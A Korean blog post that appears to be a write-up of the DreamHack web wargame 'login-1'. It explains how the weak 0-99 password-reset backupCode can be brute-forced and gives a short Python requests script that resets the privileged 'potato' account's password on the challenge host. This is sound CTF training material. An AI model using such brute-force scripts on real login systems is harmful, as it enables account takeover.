오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 login-1를 함께 풀어볼 예정이다.
## 문제 설명:
문제 정보를 살펴보면 admin 사용자로 로그하여 flag를 획득하면 되는 것으로 보인다.
## 문제 풀이
사이트에 접속해보니 다음과 화면이 보인다.
Login 버튼을 클릭하면 다음과 같이 로그인 기능을 제공하는 화면이 출력된다.
주어진 소스 코드를 확인해보면 다음과 같이 /admin에 접속하려면 session['level']이 userLevel[1]을 만족해야 한다.
userLevel[1]의 정보는 다음과 같이 /user/<int:useridx>로 확인할 수 있다.
/user/1를 입력하여 내용을 확인해보면 다음과 같다.
UserID가 potato이고 UserLevel이 1인 것을 확인할 수 있다. 즉, potato로그인을 성공해야 flag를 획득할 수 있다.
로그인창의 아래쪽에 fogot password?라는 버튼이 있다. 해당 버튼을 클릭하면 다음과 같이 비밀번호를 바꿀 수 있지만, backupCode가 필요하다.
다음 소스 코드를 확인해보면 backupCode를 5번 틀릴 경우 history.back을 하긴 하나 브루트포스 공격이 아예 불가능한 것은 아니다.
또한 backupCode는 0~99중 난수인 것을 알 수 있다.
브루트포스 공격이 가능한 것을 확인해보았으니, 이제 파이썬을 통해 공격 코드를 작성해보겠다.
## 공격 코드
import requests
PORT = 16138
URL = f"http://host3.dreamhack.games:{PORT}/forgot_password"
targetUserID = "potato"
targetUserPassword = "1234"
for backupCode in range(1, 100):
queryData = {'userid': targetUserID,
'newpassword': targetUserPassword, 'backupCode': backupCode}
response = requests.post(URL, data=queryData)
if response.status_code == 500:
print(
f"[-]BackupCode {backupCode} : 500 Error({queryData}). Try next...")
else:
print(
f"[+]BackupCode {backupCode} : **NOT** 500 Error({queryData}). Success!")
print(response)
break
## 실행 결과
변경한 비밀번호로 potato 계정으로 접속한 다음에, /admin을 접속해보면 다음과 같이 flag가 출력된 것을 확인할 수 있다.
'Wargame > DreamHack' 카테고리의 다른 글
[DreamHack 워게임] blind-command (0) | 2023.04.05 |
---|---|
[DreamHack 워게임] command-injection (0) | 2023.04.04 |
[DreamHack 워게임] image-storage (0) | 2023.04.02 |
[DreamHack 워게임] simple-ssti (0) | 2023.04.01 |
[DreamHack 워게임] csrf-1 (0) | 2023.03.31 |